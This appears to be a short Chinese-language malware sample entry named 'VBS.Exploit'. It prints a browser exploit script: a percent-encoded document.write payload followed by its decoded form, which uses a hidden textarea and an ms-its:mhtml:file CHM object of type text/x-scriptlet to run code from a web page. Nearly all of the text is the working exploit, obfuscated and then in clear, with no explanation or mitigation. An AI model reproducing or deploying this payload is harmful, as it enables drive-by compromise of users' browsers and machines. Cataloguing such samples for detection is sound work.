VBS.Exploit

脚本病毒名: VBS.Exploit
======================
脚本内容:
document.write(unescape("%3c%74%65%78%74%61%72%65%61%20%69%64%3d%22%63%6f%64%65%22%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%22%3e%0d%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%22%26%23%31%30%39%3b%73%2d%69%74%73%3a%6d%68%74%6d%6c%3a%66%69%6c%65%3a%2f%2f%63%3a%5c%66%6f%6f%2e%6d%68%74%21%24%7b%70%61%74%68%7d%2f%74%65%73%74%2e%63%68%6d%3a%3a%2f%74%65%73%74%2e%68%74%6d%22%20%74%79%70%65%3d%22%74%65%78%74%2f%78%2d%73%63%72%69%70%74%6c%65%74%22%3e%3c%2f%6f%62%6a%65%63%74%3e%0d%3c%2f%74%65%78%74%61%72%65%61%3e%0d%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%63%6f%64%65%2e%76%61%6c%75%65%2e%72%65%70%6c%61%63%65%28%2f%5c%24%7b%70%61%74%68%7d%2f%67%2c%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%2e%73%75%62%73%74%72%69%6e%67%28%30%2c%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%2e%69%6e%64%65%78%4f%66%28%27%6d%6d%2e%68%74%6d%27%29%29%29%29%3b%0d%3c%2f%73%63%72%69%70%74%3e"));

<textarea id="code" style="display:none;">
<object data="&#109;s-its:mhtml:file://c:/foo.mht!${path}/test.chm::/test.htm" type="text/x-scriptlet"></object>
</textarea>
<script language="javascript">
document.write(code.value.replace(//${path}/g,location.href.substring(0,location.href.indexOf('mm.htm'))));
</script>